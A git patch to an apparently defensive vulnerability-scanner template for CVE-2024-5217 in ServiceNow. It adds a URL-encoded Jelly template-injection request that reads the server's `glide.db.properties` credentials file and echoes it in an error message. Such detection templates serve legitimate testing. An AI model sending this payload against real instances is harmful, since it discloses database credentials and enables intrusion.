From d4936e82fe7c9f698e935aaa01e81815129d6c82 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=88=91=E4=BC=9A=E5=95=8AD=2C=E6=98=8E=E5=B0=8F=E5=AD=90?= =?UTF-8?q?=2C=E5=BE=A1=E5=89=91?= <104293903+pwnhxl@users.noreply.github.com> Date: Thu, 21 Nov 2024 00:59:50 +0800 Subject: [PATCH] Update CVE-2024-5217.yaml Encoding special characters makes the output file more concise --- http/cves/2024/CVE-2024-5217.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/http/cves/2024/CVE-2024-5217.yaml b/http/cves/2024/CVE-2024-5217.yaml index 8c02a31892..9439a032be 100644 --- a/http/cves/2024/CVE-2024-5217.yaml +++ b/http/cves/2024/CVE-2024-5217.yaml @@ -28,7 +28,7 @@ info: http: - raw: - | - GET /login.do?jvar_page_title= HTTP/1.1 + GET /login.do?jvar_page_title=%3Cstyle%3E%3Cj%3Ajelly%2Bxmlns%3Aj%3D%22jelly%3Acore%22%2Bxmlns%3Ag%3D'glide'%3E%3Cg%3Aevaluate%3Ez%3Dnew%2BPackages.java.io.File(%22%22).getAbsolutePath()%3Bz%3Dz.substring(0%2Cz.lastIndexOf(%22%2F%22))%3Bu%3Dnew%2BSecurelyAccess(z.concat(%22%2Fco..nf%2Fglide.db.properties%22)).getBufferedReader()%3Bs%3D%22%22%3Bwhile((q%3Du.readLine())!%3D%3Dnull)s%3Ds.concat(q%2C%22%5Cn%22)%3Bgs.addErrorMessage(s)%3B%3C%2Fg%3Aevaluate%3E%3C%2Fj%3Ajelly%3E%3C%2Fstyle%3E HTTP/1.1 Host: {{Hostname}} matchers-condition: and @@ -46,4 +46,4 @@ http: - type: status status: - 200 -# digest: 4a0a00473045022100e9515b4d468ac0501a40f645a76cff084bacf0ee929360cd16286bf146247503022060a8edc9206f1547392f6b47b16ae55c45598df04944010c30eb5cc0107a83ae:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# digest: 4a0a00473045022100e9515b4d468ac0501a40f645a76cff084bacf0ee929360cd16286bf146247503022060a8edc9206f1547392f6b47b16ae55c45598df04944010c30eb5cc0107a83ae:922c64590222798bb761d5b6d8e72950